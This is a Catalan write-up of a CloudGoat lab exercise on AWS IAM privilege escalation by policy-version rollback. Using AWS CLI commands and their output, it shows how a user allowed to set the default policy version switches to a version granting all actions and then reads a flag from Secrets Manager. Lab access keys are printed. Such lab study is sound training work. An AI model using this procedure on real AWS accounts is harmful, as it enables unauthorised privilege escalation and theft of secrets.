1. **Verificació de les credencials**

En aquest escenari se'ns planteja una escalada de privilegis IAM utilitzant versions alternatives a la utilitzada per defecte a una política concreta. A l'iniciar el laboratori obtenim les credencials de **Raynor** , les quals configurem amb la següent comanda:

```
aws configure --profile raynor
AWS Access Key ID [None]: AKIAZQ3DUOW4ODO2BFLQ
Secret Access Key [None]: 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
Default region name [None]:
Default output format [None]:
```

Confirmem que l'usuari ha estat ben configurat.

```
aws sts get-caller-identity --profile raynor
{
	"UserId": "AIDAZQ3DUOW4LQUBGXTES",
	"Account": "654654600632",
	"Arn":
"arn:aws:iam::654654600632:user/raynor-iam_privesc_by_rollback_cgid7272jpssp1"
}
```

2. **Investigació de les polítiques IAM associades**

Un cop hem revisat la seva configuració, revisem quines són les polítiques que té assignades, ja que ens poden ser útils per a executar una escalada de privilegis.

```
aws iam list-attached-user-policies --user-name
raynor-iam_privesc_by_rollback_cgid7272jpssp1 --profile raynor
{
	"AttachedPolicies": [
	{
		"PolicyName":
"cg-raynor-policy-iam_privesc_by_rollback_cgid7272jpssp1",
		"PolicyArn":
"arn:aws:iam::654654600632:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid7
272jpssp1"
	}
	]
}
```

3. **Obtenció i revisió de la política**

S'observa que l'usuari té una política associada. Així doncs, obtenim la política per a examinar-la individualment.

```
aws iam get-policy --policy-arn
arn:aws:iam::654654600632:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid72
72jpssp1 --profile raynor
{
	"Policy": {
	"PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgid7272jpssp1",
	"PolicyId": "ANPAZQ3DUOW4NMMJQUISV",
	"Arn":
"arn:aws:iam::654654600632:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid7
272jpssp1",
	"Path": "/",
	"DefaultVersionId": "v1",
	"AttachmentCount": 1,
	"PermissionsBoundaryUsageCount": 0,
	"IsAttachable": true,
	"Description": "cg-raynor-policy",
	"CreateDate": "2024-02-19T08:01:24+00:00",
	"UpdateDate": "2024-02-19T08:01:25+00:00",
	"Tags": []
	}
}
```

Si observem l'output veurem que hi ha un camp anomenat **DefaultVersionId**, que fa referència a quina versió sobre aquesta política s'està utilitzant. Això ens està deixant entendre que potser hi ha altres versions sobre la mateixa política que tenen una configuració diferent, atorgant privilegis més elevats i que poden ser utilitzades.

4. **Llistat de versions i revisió de la versió actual**

Per tant, llistem les versions de la política.

```
aws iam list-policy-versions --policy-arn
arn:aws:iam::654654600632:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid72
72jpssp1 --profile raynor
{
	"Versions": [
	{
		"VersionId": "v5",
		"IsDefaultVersion": false,
		"CreateDate": "2024-02-19T08:01:25+00:00"
	},
	{
		"VersionId": "v4",
		"IsDefaultVersion": false,
		"CreateDate": "2024-02-19T08:01:25+00:00"
	},
	{
		"VersionId": "v3",
		"IsDefaultVersion": false,
```

```
                "CreateDate": "2024-02-19T08:01:25+00:00"
        },
        {
                "VersionId": "v2",
                "IsDefaultVersion": false,
                "CreateDate": "2024-02-19T08:01:25+00:00"
        },
        {
                "VersionId": "v1",
                "IsDefaultVersion": true,
                "CreateDate": "2024-02-19T08:01:24+00:00"
        }
        ]
}
```

Quan llistem les versions de la política trobem que hi ha 5 diferents. Sabem que la que està en ús és la primera, per la qual cosa primer revisarem quins privilegis ens dona i, en cas de poder accedir a la resta, intentarem configurar com a política per *Default* la que més ens convingui.

Per obtenir la versió en ús de la política quan tenim més d'una versió hem d'especificar de quina es tracta, en aquest cas la 1.

```
aws iam get-policy-version --policy-arn
arn:aws:iam::654654600632:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid72
72jpssp1 --version-id v1 --profile raynor
{
        "PolicyVersion": {
        "Document": {
                "Statement": [
                {
                        "Action": [
                                "iam:Get*",
                                "iam:List*",
                                "iam:SetDefaultPolicyVersion"
                        ],
                        "Effect": "Allow",
                        "Resource": "*",
                        "Sid": "IAMPrivilegeEscalationByRollback"
                }
                ],
                "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2024-02-19T08:01:24+00:00"
        }
}
```

Com podem observar als camps *Action* i *Effect* de la política actual en ús se'ns dona privilegis per a configurar com a defecte diferents versions d'una política.

5. **Revisió i selecció d'altres versions**

Donat que tenim privilegis per fer-ho, llistarem les quatre versions de la política restants i avaluarem quina ens facilita més una escalada de privilegis.

```
aws iam get-policy-version --policy-arn
arn:aws:iam::654654600632:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid7272jpssp1
--version-id v2 --profile raynor

{
        "PolicyVersion": {
        "Document": {
                "Version": "2012-10-17",
                "Statement": {
                "Effect": "Allow",
                "Action": "iam:Get*",
                "Resource": "*",
                "Condition": {
                        "DateGreaterThan": {
                        "aws:CurrentTime": "2017-07-01T00:00:00Z"
                        },
                        "DateLessThan": {
                        "aws:CurrentTime": "2017-12-31T23:59:59Z"
                        }
                }
                }
        },
        "VersionId": "v2",
        "IsDefaultVersion": false,
        "CreateDate": "2024-02-19T08:01:25+00:00"
        }
}


aws iam get-policy-version --policy-arn
arn:aws:iam::654654600632:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid7272jpssp1
--version-id v3 --profile raynor
{
        "PolicyVersion": {
        "Document": {
                "Version": "2012-10-17",
                "Statement": [
                {
                        "Action": "*",
                        "Effect": "Allow",
                        "Resource": "*"
                }
                ]
        },
        "VersionId": "v3",
        "IsDefaultVersion": false,
```

```
        "CreateDate": "2024-02-19T08:01:25+00:00"
        }
}

aws iam get-policy-version --policy-arn
arn:aws:iam::654654600632:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid7272jpssp1
--version-id v4 --profile raynor
{
        "PolicyVersion": {
        "Document": {
                "Version": "2012-10-17",
                "Statement": {
                "Effect": "Allow",
                "Action": [
                        "s3:ListBucket",
                        "s3:GetObject",
                        "s3:ListAllMyBuckets"
                ],
                "Resource": "*"
                }
        },
        "VersionId": "v4",
        "IsDefaultVersion": false,
        "CreateDate": "2024-02-19T08:01:25+00:00"
        }
}


aws iam get-policy-version --policy-arn
arn:aws:iam::654654600632:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid7272jpssp1
--version-id v5 --profile raynor
{
        "PolicyVersion": {
        "Document": {
                "Version": "2012-10-17",
                "Statement": {
                "Effect": "Deny",
                "Action": "*",
                "Resource": "*",
                "Condition": {
                        "NotIpAddress": {
                        "aws:SourceIp": [
                                "192.0.2.0/24",
                                "203.0.113.0/24"
                        ]
                        }
                }
                }
        },
        "VersionId": "v5",
        "IsDefaultVersion": false,
        "CreateDate": "2024-02-19T08:01:25+00:00"
        }
}
```

Veiem polítiques que són molt interessant per a assumir com la versió 2, que ens permet fer un get de qualsevol recurd IAM o la vaersió 4 que ens permet executar diferents accions sobre buckets de S3. Encara així la versió que més destaca és la versió 3, ja que aplica un *Effect* de permissió sobre l'*Action* "*", el que vol dir que se'ns dona accés a totes les accions. D'aquesta manera, si configurem com a *Defalut* la versió 3 de la política obtindrem privilegis totals. Recordem que aquesta acció la podem executar degut a que la versió actual de la política ens ho permet.

```
aws iam set-default-policy-version --policy-arn
arn:aws:iam::654654600632:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid72
72jpssp1 --version-id v3 --profile raynor
```

Ara si revisem quina és la versió que està configurada com a *Default* per a la política ens ha de sortir la versió 3.

```
aws iam get-policy --policy-arn
arn:aws:iam::654654600632:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid72
72jpssp1 --profile raynor
{
       "Policy": {
       "PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgid7272jpssp1",
       "PolicyId": "ANPAZQ3DUOW4NMMJQUISV",
       "Arn":
"arn:aws:iam::654654600632:policy/cg-raynor-policy-iam_privesc_by_rollback_cgid7
272jpssp1",
       "Path": "/",
       "DefaultVersionId": "v3",
       "AttachmentCount": 1,
       "PermissionsBoundaryUsageCount": 0,
       "IsAttachable": true,
       "Description": "cg-raynor-policy",
       "CreateDate": "2024-02-19T08:01:24+00:00",
       "UpdateDate": "2024-02-19T08:55:38+00:00",
       "Tags": []
       }
}
```

En efecte, la versió *Default* actual és la 3. Ara tindriem accés total a tots els recursos per a qualsevol cosa dins del sistema, però únicament revelarem els secrets per a completar l'escenari.

```
aws --profile raynor --region us-east-1 secretsmanager list-secrets
{
	"SecretList": [
	{
		"ARN":
"arn:aws:secretsmanager:us-east-1:654654600632:secret:vulnerable_lambda_cgidwi5f
kvo6i5-final_flag-6iuyKX",
		"Name": "vulnerable_lambda_cgidwi5fkvo6i5-final_flag",
		"LastChangedDate": "2024-02-15T12:11:49.868000+01:00",
		"LastAccessedDate": "2024-02-15T01:00:00+01:00",
		"Tags": [
		{
			"Key": "Scenario",
			"Value": "vulnerable-lambda"
		},
		{
			"Key": "Stack",
			"Value": "CloudGoat"
		},
		{
			"Key": "Name",
			"Value": "cg-vulnerable_lambda_cgidwi5fkvo6i5"
		}
		],
		"SecretVersionsToStages": {
		"terraform-20240215111149791500000002": [
			"AWSCURRENT"
		]
		},
		"CreatedDate": "2024-02-15T12:11:49.350000+01:00"
	}
	]
}


aws --profile raynor --region us-east-1 secretsmanager get-secret-value
--secret-id
arn:aws:secretsmanager:us-east-1:654654600632:secret:vulnerable_lambda_cgidwi5fk
vo6i5-final_flag-6iuyKX
{
	"ARN":
"arn:aws:secretsmanager:us-east-1:654654600632:secret:vulnerable_lambda_cgidwi5f
kvo6i5-final_flag-6iuyKX",
	"Name": "vulnerable_lambda_cgidwi5fkvo6i5-final_flag",
	"VersionId": "terraform-20240215111149791500000002",
	"SecretString": "cg-secret-846237-284529",
	"VersionStages": [
	"AWSCURRENT"
	],
```

```
        "CreatedDate": "2024-02-15T12:11:49.865000+01:00"
}
```